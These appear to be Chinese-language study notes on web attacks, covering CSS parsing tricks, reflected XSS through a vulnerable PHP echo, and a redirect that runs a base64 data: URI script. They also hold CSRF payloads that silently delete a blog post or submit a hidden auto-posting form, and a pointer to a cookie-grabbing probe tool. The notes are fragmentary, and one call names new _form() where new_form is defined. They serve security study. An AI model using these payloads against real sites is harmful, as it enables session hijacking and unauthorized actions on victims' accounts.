<link rel="stylesheet" href="test.html"> <h1>xxxx</h1>
h1{ font-size:50px; color:red; </style> <div>xxx</div> }h2{color:green;}
<title>1</title> ... <div>...</div> {}h1{font-size:50x;}如果h1之前有大量非法的字符串,加上{}即可,IE加上}即可
如reflect1.php
<?php echo $_GET['x']; ?>可以提交
http://www.foo.com/xss/reflect1.php?x=<script>alert(1)</script>如reflect2.php
<?php header('Location: '.$_GET['x']); ?>x的值作为响应头部的Location字段值输出,意味着会发生跳转,触发XSS的其中一种方式如下
http://www.foo.com/book/reflect2.php?x=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ%2b
提交的XSS代码会存储在服务器端,如留言板XSS
不需要服务器解析响应的直接参与
http://www.webappsec.org/projects/articles/071105.shtml
3.1可以跨域发出GET请求,但是不可以得到其响应内容
关键点:请求是身份验证后的
<script> new Image().src='http://www.a.com/blog/del?id=1' </script>
3.2 发送POST请求
<body> </body> <script> function new_form(){ var f=document.createElement("form"); document.body.appendChild(f); f.method="post"; return f; } function create_elements(eForm,eName,eValue){ //创建表单项函数,eForm表单对象,eName表单项,eValue表单项值 var e=document.createElement("input"); eForm.appendChild(e); e.type='text'; e.name=eName; if(!document.all){ e.style.display='none'; } else{ e.style.display='block'; e.style.width='0px'; e.style.height='0px'; } e.value=eValue; return e; } var _f=new _form(); create_elements(_f,"title","hi"); create_elements(_f,"content","csrf_here"); _f.action="http://www.a.com/blog/add"; _f.submit(); </script>
3.3 xssprobe
https://github.com/evilcos/xssprobe
可以获取Cookie,flash版本信息